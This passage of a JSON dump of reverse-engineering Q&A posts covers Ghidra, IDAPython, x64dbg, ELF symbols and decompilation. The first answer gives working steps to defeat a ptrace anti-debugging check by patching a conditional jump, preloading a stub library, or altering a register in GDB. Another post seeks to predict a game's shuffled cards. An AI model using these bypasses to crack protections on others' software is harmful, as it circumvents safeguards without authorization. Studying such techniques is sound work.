        "Answer": "<h3>Ghidra method</h3>\n<p>You can modify the binary via Ghidra in the following way:</p>\n<ul>\n<li>load the track</li>\n<li>move in the assembly code to the point where it checks the result (if statement)</li>\n<li>you will probably be faced with a jump instruction <code>JNZ</code>, just right click on it and select &quot;Patch Instruction&quot; and replace it with the opposite condition <code>JZ</code> (or vice versa).</li>\n<li>Now save the project (<code>Ctrl</code>+<code>S</code>)</li>\n<li>Then navigate to <code>File</code>&gt;<code>Export</code> Program and decide where to save the modified binary</li>\n</ul>\n<p>If you have problems with the exported binary, try this script: <a href=\"https://github.com/schlafwandler/ghidra_SavePatch\" rel=\"nofollow noreferrer\">https://github.com/schlafwandler/ghidra_SavePatch</a></p>\n<h3>LD_PRELOAD method</h3>\n<ul>\n<li>Create a file called <code>ptrace.c</code> with the following content:</li>\n</ul>\n<pre><code>long ptrace(int request, int pid, void *addr, void *data) {\n    return 0;\n}\n</code></pre>\n<ul>\n<li>Now build the file as a shared library: <code>gcc -shared ptrace.c -o ptrace.so</code>;</li>\n<li>Now lunch the following command: <code>export LD_PRELOAD=./ptrace.so</code></li>\n<li>Run <code>ltrace ./launcher</code></li>\n</ul>\n<blockquote>\n<p>Note: you can also use LD_PRELOAD method with GDB</p>\n</blockquote>\n<h1>GDB method</h1>\n<ul>\n<li>use GDB to lunch the binary: <code>gdb ./launcher</code></li>\n<li>in the GDB client shell: <code>catch syscall ptrace</code></li>\n<li>GDB allows you tun run a series of command when you reach a BP: <code>command 1</code></li>\n<li>type: <code>set ($rax) = 0</code>, that will change the value inside the &quot;return&quot; register (aka the result of ptrace syscall) <a href=\"https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html\" rel=\"nofollow noreferrer\">x86-registers</a></li>\n<li>then enter: <code>continue</code> and <code>end</code>\n(as two separated commands)</li>\n<li>place a BP on the main function: <code>b main</code> and then type <code>r</code> to continue the execution</li>\n</ul>\n<p>Another option is to use Qiling framework and hook the function/syscall and always return any other value than &quot;-1&quot;, but that seems a bit overkill.</p>\n"
    },
    {
        "Id": "27233",
        "CreationDate": "2021-03-13T13:03:47.613",
        "Body": "<p>I'm learning RE with x64dbg on Windows10.<br />\nIt does not list a process in the running process list that I want to attach.<br />\nThe Process is running 32-bit crackme application for learning.</p>\n<p>It was created by eagle0wl.</p>\n<p><a href=\"http://www.mysys.org/eagle0wl/\" rel=\"nofollow noreferrer\">http://www.mysys.org/eagle0wl/</a></p>\n<p>Why x64dbg does not list process?<br />\nI have checked that x64dbg on privilege permission and windows Smart Screen is disabled and so on.</p>\n<p>I have no idea why the process does not list as an attached process.</p>\n<p>Windows 10 20H2</p>\n",
        "Title": "A Process does not list on x64dbg attach list",
        "Tags": "|x64dbg|crackme|windows-10|",
        "Answer": "<p>x64dbg comes in two versions, 32 and 64 bits.</p>\n<p><a href=\"https://i.stack.imgur.com/D6j8j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/D6j8j.png\" alt=\"enter image description here\" /></a></p>\n<p>You need to run the 32-bit version of x64dbg to detect a 32-bit application.</p>\n"
    },
    {
        "Id": "27243",
        "CreationDate": "2021-03-15T03:30:07.033",
        "Body": "<p>Is there any way to STOP the loop of the IDApython ?<br><br>\nI want to stop the loop processing of IDAPython with any timing after starting the IDAPython(which contain loop function) from IDApro menu -&gt; File -&gt; Script command.\nIs there any keyboard shortcut to stop the script ?</p>\n",
        "Title": "Is there any way to STOP the loop of the IDApython?",
        "Tags": "|ida|malware|idapython|ida-plugin|",
        "Answer": "<p>A &quot;wait box&quot; comes up when a Python script is running for a while; you can click &quot;cancel&quot; to stop the script. Via keyboard, that should just be <code>ENTER</code> if that dialog has the keyboard focus.</p>\n"
    },
    {
        "Id": "27250",
        "CreationDate": "2021-03-15T22:30:41.683",
        "Body": "<p>I'm cross-comparing a few approaches to testing for binaries that import a symbol and I noticed a YARA rule not finding one in <code>sudo</code> that nm + grep could find.</p>\n<p>I looked at it in <code>xxd</code> to figure out why, but couldn't find a match. This explains why the YARA rule misses, but leaves me with a new question: <strong>how are tools like nm or objdump discovering the symbol?</strong></p>\n<p>I checked other the other GLIBC symbols that nm reports to see how common this is, and found 5 symbols that didn't match in the output of xxd: <code>execve exit getpgrp sleep textdomain</code>. (I haven't yet manually verified whether any of the others only fail to match because they're split over a line break, but for this search I did run xxd at a width of 256 cols to minimize the likelihood).</p>\n<p>I'm running something like:</p>\n<pre><code>nm --undefined $(type -p sudo)\nxxd -c 40 $(type -p sudo)\n</code></pre>\n<p>Since this outputs a few thousand lines and there may be platform differences in the binary/commands, I went ahead made a GH repo for reference.</p>\n<ul>\n<li><a href=\"https://github.com/abathur/sudo-make-sense/runs/2116615802\" rel=\"nofollow noreferrer\">CI run itself</a></li>\n<li><a href=\"https://github.com/abathur/sudo-make-sense/blob/95214d62f61fc79ac0b22961fca60d9d2587a526/ci.log#L399-L5442\" rel=\"nofollow noreferrer\">relevant section from a committed copy of the CI output for posterity</a></li>\n<li><a href=\"https://github.com/abathur/sudo-make-sense/blob/435a3df03c217d8792548c6173d9af8e86965148/.github/workflows/ci.yml#L13\" rel=\"nofollow noreferrer\">actual invocation producing the CI output</a></li>\n<li><a href=\"https://github.com/abathur/sudo-make-sense/blob/main/sudo\" rel=\"nofollow noreferrer\">copy of the sudo binary itself</a></li>\n</ul>\n",
        "Title": "Why might nm find a few undefined symbols that I can't see with xxd?",
        "Tags": "|static-analysis|symbols|",
        "Answer": "<p>The recent updates to the Mach-O format (the  <code>LC_DYLD_INFO_ONLY</code> command) have an option of encoding the export symbol information as a trie structure. In such case it's possible that the symbol name does not appear as an exact string in the file.</p>\n<p>However, ELF does not use such encoding so normally all symbols must be present as-is in the binary. What seems to happen in your case is that the &quot;missing&quot; symbols are substrings of other symbols with longer names, e.g.:</p>\n<ul>\n<li><code>getpgrp</code> is a suffix of <code>tcgetpgrp</code></li>\n<li><code>execve</code> - of <code>fexecve</code></li>\n<li><code>exit</code> - of <code>_exit</code></li>\n<li><code>textdomain</code> - of <code>bindtextdomain</code></li>\n</ul>\n<p>There is no requirement that each symbol must be present as a separate string in the string table. The symbol record encodes an offset to a start of the string in string table and the dynamic linker simply uses the bytes until the next zero for matching. By reusing suffixes of other strings, the string table can be made smaller (often it is a huge contributor to the ELF file's size).</p>\n<p>For example, here's the symbol entry for textdomain:</p>\n<pre><code>Elf64_Sym &lt;offset aBindtextdomain+4 - offset unk_1DD0, 12h, 0, 0, \\ ; &quot;textdomain&quot;\nLOAD:0000000000000D38                            offset dword_0, 0&gt;\n</code></pre>\n<p>or</p>\n<pre><code>LOAD:0000000000000D38                 dd offset aBindtextdomain+4 - offset unk_1DD0; st_name ; &quot;textdomain&quot;\nLOAD:0000000000000D38                 db 12h                  ; st_info\nLOAD:0000000000000D38                 db 0                    ; st_other\nLOAD:0000000000000D38                 dw 0                    ; st_shndx\nLOAD:0000000000000D38                 dq offset dword_0       ; st_value\nLOAD:0000000000000D38                 dq 0                    ; st_size\n</code></pre>\n<p>As you can see, it points 4 bytes into the string for <code>bindtextdomain</code>. This is perfectly legal and is a common optimization in compilers.</p>\n<p><a href=\"https://sourceware.org/bugzilla/show_bug.cgi?id=18451\" rel=\"nofollow noreferrer\">Discussion with the patch</a> which added the feature to GNU ld.</p>\n"
    },
    {
        "Id": "27253",
        "CreationDate": "2021-03-16T04:23:42.577",
        "Body": "<p>I want to some strings to the text-file which is chosen from the save dialog box.<br>\nIs there any way to show the save dialog box by IDApython and how to write the script code about that ?</p>\n",
        "Title": "How to show the save dialog box with IDAPython?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Sounds like you want <code>ida_kernwin.ask_file</code>, as in:</p>\n<p><code>self.filename=ida_kernwin.ask_file(1, &quot;*.xml&quot;, &quot;Enter name of export xml file:&quot;)</code></p>\n"
    },
    {
        "Id": "27262",
        "CreationDate": "2021-03-17T21:08:51.917",
        "Body": "<p>Given a set of arbitrary files, what's the best way to identify the text strings shared between them (either in all files or a subset of them) from the Linux command line?</p>\n<p>This would be useful for quickly identifying ways to write Yara rules for clusters of similar malicious files (for instance, malicious executables).</p>\n",
        "Title": "Identify strings shared between multiple files from the Linux command line",
        "Tags": "|linux|strings|command-line|",
        "Answer": "<p>Here's one approach, for malicious files in a directory named <code>malware</code>:</p>\n<pre><code>find malware/ -type f | xargs -n1 -P1 -I{} sh -c 'strings {} | sort | uniq' | sort | uniq -c | sort -n\n</code></pre>\n<p>The output will look something like the following, where the first number on each line is the number of files containing the string:</p>\n<pre><code>      ...\n      1 Sleep\n      ...\n      2 JFIF\n      2 SetBkColor\n      ...\n      5 !This program cannot be run in DOS mode.\n      5 t@PW\n      5 @tVH\n      ...\n</code></pre>\n<p>One useful variation of this when the input files are Windows executables is using <code>strings -el</code> instead of <code>strings</code>, which will cause UTF-16 little-endian strings (also known as wide character strings) to be shown.</p>\n<p>To tie string sequences back to the corresponding files use <code>strings -f malware/* | grep &lt;string&gt;</code>.</p>\n"
    },
    {
        "Id": "27274",
        "CreationDate": "2021-03-21T09:48:29.630",
        "Body": "<p>I'm looking for the following dylib file which is included from process <code>loginwindow</code>.</p>\n<p>If I run <code>vmmap</code> to inspect <code>loginwindow</code> while it's up and running I get :</p>\n<p><code>user@mycomp / % sudo vmmap -I ``pgrep loginwindow`` | grep libIASUnifiedProgress.dylib</code></p>\n<pre><code>__TEXT                      1c7566000-1c756e000    [   32K    32K     0K     0K] r-x/r-x SM=COW          /usr/lib/libIASUnifiedProgress.dylib\n__DATA_CONST                1fdd05628-1fdd06438    [  3600   3600     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib\n__DATA                      200ff1f18-200ff27b0    [  2200   2200     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib\n__AUTH_CONST                207d4b260-207d4c008    [  3496   3496     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib\n__OBJC_CONST                207d4c008-207d4c368    [   864    864     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib\n__DATA_DIRTY                20a5b9250-20a5b9460    [   528    528    528     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib\n</code></pre>\n<p>however, the file doesn't appear to be there ... I'm guessing it's some new trick made by Apple, perhaps do you know how can I find it anyway ?</p>\n<p>Thanks,</p>\n",
        "Title": "macOS under M1, cannot find library",
        "Tags": "|memory|process|libraries|macos|",
        "Answer": "<p>On ARM macOS, like on iOS, most of the common dylibs are no longer shipped as separate files, but are bundled into the <a href=\"https://www.theiphonewiki.com/wiki/Dyld_shared_cache\" rel=\"nofollow noreferrer\">dyld shared cache</a>. You can usually find the caches in <code>/System/Library/dyld/</code>.</p>\n"
    },
    {
        "Id": "27278",
        "CreationDate": "2021-03-20T12:52:10.087",
        "Body": "<p>I am playing a game for iOS that uses a deck of 48 cards and I would like to reverse engineer the kind of algorithm that is used to generate the random deck of cards such that I can predict which card will show up next. This is what I know about the game.</p>\n<ul>\n<li>The game was likely made using Unity, as I found that the game regularly sends data to the domain config.uca.cloud.unity3d.com.</li>\n<li>In case it is relevant, the game is basically the japanese card game Koi-Koi.</li>\n<li>Each card is internally numbered from 1-48 and each deck contains only one of each card.</li>\n<li>Each game takes 4 unsigned 32-bit integer seeds as input, x, y, z, and w, and generates the random deck.</li>\n<li>These seeds are retrieved by querying a game API, i. e. they are not generated by the game app, which means it is possible to impersonate the API and send custom seeds to the game.</li>\n<li>If all seeds are 0, then the deck does not seem to be shuffled at all. It seems to result in a very predictable range of 5-48. (For some reason 1-4, the first \u201dyaku\u201d, was skipped)</li>\n<li>I also tried changing just one of each seed to 1 while the rest remained as 0. For example, x = 1, but y = z = w = 0, which resulted in a deck that seemed random and not similar at all to the unshuffled deck generated when all seeds are zero.</li>\n</ul>\n<p>Is there someone with experience in random number generators, especially ones commonly used for iOS apps coded in Unity, who has an idea of what kind of algorithm could be used to generate the decks? Could some sort of shuffle algorithm be used?</p>\n<p>Edit: I have attempted to shuffle an array using the .NET System.Random class according to this answer where the random object was initiated using a seed of 0.\n<a href=\"https://stackoverflow.com/a/108836\">https://stackoverflow.com/a/108836</a></p>\n<p>But the problem is that the array is shuffled pseudo-randomly, unlike the game where the \u201darray\u201d is ordered. That is why I think that a type of \u201dRandom.next()\u201d call doesn\u2019t seem to be used. Could there be some multiplication involved? It would explain why a zero seed leaves the deck unchanged.</p>\n",
        "Title": "What kind of random algorithm is used in this game?",
        "Tags": "|ios|",
        "Answer": "<p>So I finally got around to dig through the Android version of the game's APK file, and while I have not managed to obtain the game assembly code due to the crazy amounts of obfuscation in <code>libil2cpp.so</code>, <code>global-metadata.dat</code> is not obfuscated at all. After looking through it, I can now pretty confidently say that the random algorithm used is <a href=\"https://en.wikipedia.org/wiki/Xorshift\" rel=\"nofollow noreferrer\">Xorshift</a> since I found the string <code>new_Xorshift</code> close to a bunch of other strings related to the minigame. It probably uses 128-bits since there are four 32-bit seeds.</p>\n<p>From here on I can either try to deobfuscate the assembly code or try to brute force how exactly Xorshift is used to &quot;shuffle&quot; the deck, but either way, I think this answers my question.</p>\n"
    },
    {
        "Id": "27282",
        "CreationDate": "2021-03-22T02:30:55.223",
        "Body": "<p>Page 88 of the <a href=\"https://developer.arm.com/documentation/dui0553/latest/\" rel=\"nofollow noreferrer\"><em>ARM Cortex-M4 Generic User Guide</em></a> says &quot;The SBC instruction subtracts the value of Operand2 from the value in Rn. If the carry flag is CLEAR, the result is reduced by one.&quot; Why the result is reduced by 1 when the carry flag is CLEAR rather than SET? I think the SBC instruction subtracts the value of the carry flag from the result of subtracting operand2 from Rn, therefore the result is reduced by 1 when the carry flag is SET. Am I wrong?</p>\n",
        "Title": "Help understanding ARM Cortex-M4 SBC instruction",
        "Tags": "|assembly|arm|",
        "Answer": "<p>ARM implements subtraction using addition with the complement of the second argument.  Unusually, this implementational detail is exposed in the carry flag behaviour.</p>\n<p>The description of the condition flags on page 66 (3-19) of the user guide you link to explains this anomaly -</p>\n<pre><code>A carry occurs:\n\u2022 ...\n\u2022 if the result of a subtraction is positive or zero\n\u2022 ...\n</code></pre>\n<p>There is a similar answered question on Stack Overflow <a href=\"https://stackoverflow.com/questions/53065579/confusion-about-arm-documentation-on-carry-flag\">here</a>.</p>\n"
    },
    {
        "Id": "27283",
        "CreationDate": "2021-03-22T11:17:56.073",
        "Body": "<p>There is a situation where the number of xrefs for a function is dynamically increasing due to the dynamic creation of memory with execution rights attached by VirtualAlloc. <br>I want to get the xrefs of the function, and in this situation, if I check manually in the UI, I get 8 references, but if I use IDAPython to get CodeRefsTo/XrefsTo, I only get 3. <br>This is probably due to the fact that IDAPython does not allow xrefs to be applied to code regions dynamically allocated by VirtualAlloc, or because the cache is not updated. What is the best way to get dynamically changing xrefs with IDAPython ? Can you give me some ideas?</p>\n",
        "Title": "How to get dynamically changing xrefs with IDAPython",
        "Tags": "|ida|idapython|",
        "Answer": "<p>My question was resolved by doing the following.\nThis is an answer.</p>\n<p>If you want to update xrefs, at any given time, do the following.<br><br></p>\n<pre><code>plan_and_wait(minaddress, maxaddress)\n</code></pre>\n<p>It was effective to narrow down the scope of the project to a certain extent, because doing it in all areas would have been time consuming.</p>\n"
    },
    {
        "Id": "27286",
        "CreationDate": "2021-03-22T14:47:09.383",
        "Body": "<p><a href=\"https://i.stack.imgur.com/D8LmY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/D8LmY.png\" alt=\"enter image description here\" /></a></p>\n<p>Says the PDPT and PDs of the process are at the same physcial frames (pfns) in both processes.</p>\n<p>The first process is <code>winword.exe</code> and the second process is <code>calc.exe</code></p>\n<p>The virtual address in the first case is the start of the virtual page containing the header of <code>winword.exe</code>, which VMMap shows to be in the shareable working set, but yet the output shows that the entry in the PDE hasn't ever even been touched.</p>\n<p>I then try that virtual address in <code>calc.exe</code>, where VMMap shows no VAD allocation to that range, and it shows the same identical output.</p>\n<p>This suggests to me that !pte is showing me the output of some other process, and I can't change it away from that and using <code>.process</code> alone and <code>.process</code> + <code>.context</code> with the correct dirbases (cr3/PML4 physical pages) doesnt work.</p>\n<p>I'm using <code>kd -kl</code>, not <code>livekd</code>.</p>\n<p>This also happens in <code>windbg</code>. Furthermore, I get the same pfns for both outputs, and those pfns change to a new set every time I reopen the debugger, which suggests that it is using the debuggers context. Is this a limitation with local debugging? I would have thought that a kernel driver would be able to do this correctly.</p>\n<p><code>process /p</code> does nothing, and <code>!peb</code> correctly shows the different PEBs of the 2 different processes, but <code>!pte</code> still appears to be using the context of <code>kd</code></p>\n<p><code>!vtop</code> appears to be working correctly:</p>\n<p><a href=\"https://i.stack.imgur.com/8pfr3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8pfr3.png\" alt=\"enter image description here\" /></a></p>\n<p>The problem is reproducible also on <code>windbg</code> (version 6.12) and also I tried version 10. <a href=\"https://stackoverflow.com/questions/52972057/windows-10-x64-unable-to-get-pxe-on-windbg\">This</a> seems to be related. So does <a href=\"https://social.technet.microsoft.com/Forums/windows/en-US/7880aca9-2bff-410f-a0a7-c8bc24296d43/why-vtop-work-and-not-pte-in-windbg?forum=w7itprogeneral\" rel=\"nofollow noreferrer\">this</a> (dreadful answer).</p>\n<p>I translated the virtual address to the virtual address of its PTE using <a href=\"https://stackoverflow.com/questions/52972057/windows-10-x64-unable-to-get-pxe-on-windbg/66751725#66751725\">this technique</a> (which is of course the same address that was attempted to be shown in the <code>!pte</code> output, and will be the same PTE address for that virtual address in the context of every process) and <code>db</code> shows nothing at that address either:</p>\n<p><a href=\"https://i.stack.imgur.com/dzQmU.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dzQmU.png\" alt=\"enter image description here\" /></a></p>\n<p>You still need to select the process context because the user side of the page tables as well as PML4 are mapped in differently for each process.</p>\n<p><code>db</code> lines up with new state of <code>0x13fe60000</code> according to <code>!pte</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/kBHFf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kBHFf.png\" alt=\"enter image description here\" /></a></p>\n<p>but <code>!vtop</code> works correctly:</p>\n<p><a href=\"https://i.stack.imgur.com/A6ZwQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/A6ZwQ.png\" alt=\"enter image description here\" /></a></p>\n<p>I mean, the difference is that <code>!vtop</code> is accessing physical memory whereas <code>!db</code> and <code>!pte</code> access virtual memory. <code>!peb</code> works correctly and accesses virtual memory, but is user mode. It seems that it is struggling with reading kernel virtual addresses.</p>\n",
        "Title": "kd live local debugging !pte and db don't work (only shows context of the debugger for all contexts), but !vtop works",
        "Tags": "|windows|debugging|windbg|pages|",
        "Answer": "<p>@blabb 's <a href=\"https://community.osr.com/discussion/195991/inchoerence-of-the-pte-base-address\" rel=\"nofollow noreferrer\">link</a> is the correct answer for local debugging</p>\n<blockquote>\n<p>Debugger cache is used only for live targets, local kd doesn't really need it. However, local kd still needs to decide how to translate virtual addresses to physical ones when you switch to a process. This is where the different .process options come into play:</p>\n</blockquote>\n<blockquote>\n<p>.process: No translation is performed. All memory accesses are performed in the context of debugger's process. Kernel memory which is valid in any process context (pool, system PTE mappings etc.) will be displayed correctly, everything else (user memory, session space, page tables etc.) will not.</p>\n</blockquote>\n<blockquote>\n<p>.process /p: User addresses are translated using the page directory of the specified process, so commands like !peb should work correctly. Kernel addresses are not translated, so things like session space and page tables may still be displayed incorrectly.</p>\n</blockquote>\n<blockquote>\n<p>.process /P: All addresses, user and kernel, are translated. Use this option if you need to look at session space, page tables or other process-specific data in the kernel space.</p>\n</blockquote>\n<p>I did not think it would be a bug -- the functionality to do it was clearly available. There has to be a specific usage to account for how local debugging works compared to livekd.</p>\n"
    },
    {
        "Id": "27291",
        "CreationDate": "2021-03-23T06:36:59.053",
        "Body": "<p>I am trying to understand <code>anal.hasnext</code> control flow configuration option of Radare. The documentation says &quot;Continue analysis after each function. Forces to find a function, after the end of a function.&quot; So how far does it continue analysis after the end of a function. Does it stop after finding one more function after the end or continue further. At what point does it stop? Without this would it stop at the <code>ret</code> instruction? Can someone give me code example in <code>C</code> where this could be useful.</p>\n",
        "Title": "What does anal.hasnext actually do?",
        "Tags": "|radare2|",
        "Answer": "<p>hasnext tries to get the function behind the current one. It also skips padding stuff like int3 (0xcc), nop (0x90) and such (on x86). anal.depth defines the limit of this behaviour. every 'next' function will decrement it by one. For more information see canal.c (__core_anal_fcn) and search for has_next.</p>\n"
    },
    {
        "Id": "27298",
        "CreationDate": "2021-03-24T12:35:58.500",
        "Body": "<p>I'm writing a compiler from .NET CIL code to some high level language. Process is similar to decompilation. I have done some control flow analysis - detecting loops, ifs, and so on. In terms of data flow analysis i've done simple expression propagation by simulating some instructions involving evaluation stack - I treat evaluation stack as hidden variable, push more complex expressions on it, and whenever there is any assignment instruction to some variable (for example <code>starg</code> or <code>stloc</code>) - I pop and assign propagated expression from stack to this variable and translate this expression into statement in high language code. Of course for now it is so simple that it generates failures. Consider a function written in C#:</p>\n<pre><code>int GCD(int n1, int n2)\n{\n    while(n2 != 0)\n    {\n        int c = n1 % n2;\n        n1 = n2;\n        n2 = c;\n    }\n\n    return n1;\n}\n</code></pre>\n<p>This function compiles to IL:</p>\n<pre><code>.method private hidebysig \n    instance int32 GCD (\n        int32 n1,\n        int32 n2\n    ) cil managed \n{\n    .maxstack 8\n\n    IL_0000: br.s IL_000a\n        IL_0002: ldarg.1    // load n1 on eval stack\n        IL_0003: ldarg.2    // load n2 on eval stack\n        IL_0004: rem        // pop n1 and n2 from stack, compute n1 % n2 and push it on stack\n        IL_0005: ldarg.2    // load n2 on stack\n        IL_0006: starg.s n1 // pop n2 from stack and store it in n1\n        IL_0008: starg.s n2 // pop n1 % n2 from stack and store it in n2\n\n        IL_000a: ldarg.2\n        IL_000b: brtrue.s IL_0002\n\n    IL_000d: ldarg.1\n    IL_000e: ret\n}\n</code></pre>\n<p>With this simple propagation we push <code>n1 % n2</code> on stack, then load <code>n2</code> on stack, then we have <code>starg</code> instruction, so we pop expression from stack and translate assignment to statement. Then we pop again, and do the same. Result code looks like this:</p>\n<pre><code>GCD(n1, n2) {\n    while (n2) { \n        n1 = n2;\n        n2 = (n1 % n2); \n    }\n    return n1;\n}\n</code></pre>\n<p>This indicates that I have to do something inverse to dead code elimination, maybe called like &quot;necessary code introduction&quot;. I searched for some sources about methods to introduce new variables in decompilation, but I did not find any. Do you have any ideas?</p>\n",
        "Title": "Decompilation of CIL code into some high level code - do I need to introduce new variables during data flow analysis?",
        "Tags": "|decompilation|decompile|decompiler|compilers|compiler-optimization|",
        "Answer": "<p>The problem, as I think you realise, is that you are logically moving the calculation of an expression past the point whereby one of its input values gets changed.</p>\n<p>Given your current implementation, I'd suggest the easiest approach to handle this is -</p>\n<ul>\n<li>When an instruction writes to a variable, look to see if there are any expressions involving this variable on your expression stack.</li>\n<li>If there are,\n<ul>\n<li>spill each such existing expression to a new temporary variable, and</li>\n<li>replace the existing expressions on the stack with the respective new temporary variable.</li>\n</ul>\n</li>\n<li>Only then generate the write to the original variable</li>\n</ul>\n<p>Applying this procedure to your code gives -</p>\n<pre><code>IL_0002: // stack = { n1 }\n\nIL_0003: // stack = { n2, n1 }\n\nIL_0004: // stack = { n1 % n2 }\n\nIL_0005: // stack = { n2, n1 % n2 }\n\nIL_0006: // this instruction will write to n1\n         // inspection shows that we have an expression involving n1 on the stack so\n         // (a) spill this expression to a new temporary variable and\n         // (b) replace the expression on the stack with the new temporary variable\n\n         temp = n1 % n2;     // stack = { n2, temp }\n\n         // now the write to n1 can safely take place\n\n         n1 = n2;            // stack = { temp };\n\nIL_0008: // this instruction will write to n2, \n         // inspection shows no expressions on the stack involving n2\n         // the write to n2 can safely take place\n\n         n2 = temp;         // stack = {}\n</code></pre>\n<p>Removing the comments, the inner loop now looks like the original code.</p>\n<pre><code>temp = n1 % n2;\nn1 = n2;\nn2 = temp;\n</code></pre>\n"
    },
    {
        "Id": "27304",
        "CreationDate": "2021-03-24T21:39:26.387",
        "Body": "<p>Is it possible to switch between debuggers and preserve where you are paused? Often times I find myself wanting to use a feature from a different debugger while paused in a specific context as each of them have their strengths (IDA has source level stepping, x32dbg has excellent patching, call stacks and easy to use hardware breakpoints, Visual Studio can cast memory to C++ structs in the Watch window). Some are more useful in getting to a destination than others. Is there any kind of software available that enables this feature?</p>\n",
        "Title": "Switch between debuggers while paused on a breakpoint",
        "Tags": "|disassembly|windows|debugging|debuggers|",
        "Answer": "<p>Yes, this is possible with some cooperation from the debugger. The <a href=\"https://low-priority.appspot.com/ollymigrate/\" rel=\"nofollow noreferrer\">OllyMigrate plugin</a> supports migration between following debuggers:</p>\n<ul>\n<li>OllyDbg</li>\n<li>Immunity Debugger</li>\n<li>IDA Pro/Freeware</li>\n<li>WinDbg</li>\n<li>x64dbg</li>\n</ul>\n<p>It seems Visual Studio is not supported but you can always do it the manual way:</p>\n<ol>\n<li>Patch an infinite loop (<code>EB FE</code>) at the current EIP/RIP;</li>\n<li>Detach the current debugger. The program will be stuck in the infinite loop;</li>\n<li>Attach with the new debugger;</li>\n<li>Restore the patched bytes and continue debugging.</li>\n</ol>\n<p>Note: I'm not sure this is the approach used by OllyMigrate. Possibly it uses some kind of handle passing from one debugger to another. Unfortunately the source code is not available.</p>\n"
    },
    {
        "Id": "27309",
        "CreationDate": "2021-03-25T04:27:10.993",
        "Body": "<p>I am learning about windows x64 calling convention, where the first four arguments are passed to registers and left arguments are passed through the stack. To see it, I checked the assembly of the test file that I made. I understood the passing of first four arguments through the register, the left arguments were passed through the stack but I didn't understood the assembly of the instruction. It looked like this:</p>\n<pre><code>mov DWORD PTR 40[rsp], 6\nmov DWORD PTR 32[rsp], 5\n</code></pre>\n<p>I don't know what does 40[rsp] means, maybe rsp+40 .\nIf anyone knows, please explain to me</p>\n",
        "Title": "does mov DWORD PTR 32[rsp], 5 means mov DWORD PTR [rsp+32], 5?",
        "Tags": "|disassembly|windows|functions|stack|x86-64|",
        "Answer": "<p>Yes, <code>mov DWORD PTR 40[rsp], 6</code> is the same as <code>mov DWORD PTR [rsp + 40], 6</code>. The first syntax makes a lot more sense in cases where the constant is the base address of an array, and the register contains a byte offset into that array. That's the use case the syntax was designed for.</p>\n"
    },
    {
        "Id": "27310",
        "CreationDate": "2021-03-25T08:15:37.280",
        "Body": "<p>here is the original C++ source code of the executable that I've created to do simple RE</p>\n<pre><code>#include &lt;iostream&gt;\n\nvoid myFunction() {\n\n    printf(&quot;Hello!&quot;);\n}\n\nint main()\n{\n    myFunction();\n    return 0;\n}\n</code></pre>\n<p>When I disassembled my executable in IDA, this is the first block that I see\n<a href=\"https://i.stack.imgur.com/RjQXa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RjQXa.png\" alt=\"enter image description here\" /></a></p>\n<p>With the address being 0x4112c1\n<a href=\"https://i.stack.imgur.com/rjSeA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rjSeA.png\" alt=\"enter image description here\" /></a></p>\n<p>I've created a simple IDAPython script to find out what is the next address after the <strong>jump _main_0</strong></p>\n<pre><code>from idautils import *\nfrom idaapi import *\nfrom idc import *\n\ncursor = 0\nstart_addr = 0\nend_addr = 0\nprint(&quot;----------Starting python script----------\\n&quot;)\nfor func in Functions():\n    name = get_func_name(func)\n    if &quot;_main&quot; == name:\n        start_addr = get_func_attr(func, FUNCATTR_START)\n        end_addr = get_func_attr(func, FUNCATTR_END)\n        print(&quot;Start: 0x%x, End: 0x%x&quot; %(start_addr, end_addr))\n\ncursor = start_addr\nprint('0x%x %s' % (cursor, generate_disasm_line(cursor, 0)))\ncur_addr = next_head(cursor, end_addr)\nprint(&quot;Next Head: 0x%x&quot; %cur_addr)\nprint(&quot;---------Exiting Python script------&quot;)\n</code></pre>\n<p>And this is the following output:</p>\n<pre><code>----------Starting python script----------\n\nStart: 0x4112c1, End: 0x4112c6\n0x4112c1 jmp     _main_0\nNext Head: 0xffffffff\n---------Exiting Python script------\n</code></pre>\n<p>I have 2 questions I would like to ask:</p>\n<ol>\n<li>May I ask why isn't the address of the next head 0x411930 (which is the address of _main_0, as shown in the screenshot below) ?\n<a href=\"https://i.stack.imgur.com/in2qT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/in2qT.png\" alt=\"enter image description here\" /></a></li>\n<li>Is it possible to make the script go to the address of the mentioned function when it detects a jump statement? (because I thought next head will do the trick)</li>\n</ol>\n<p>**<em>Disclaimer: I'm kinda new to RE and IDAPython so do bear with me if I ask too much</em></p>\n",
        "Title": "Is it possible to \"jump\" to another address when script detects jmp?",
        "Tags": "|ida|idapython|",
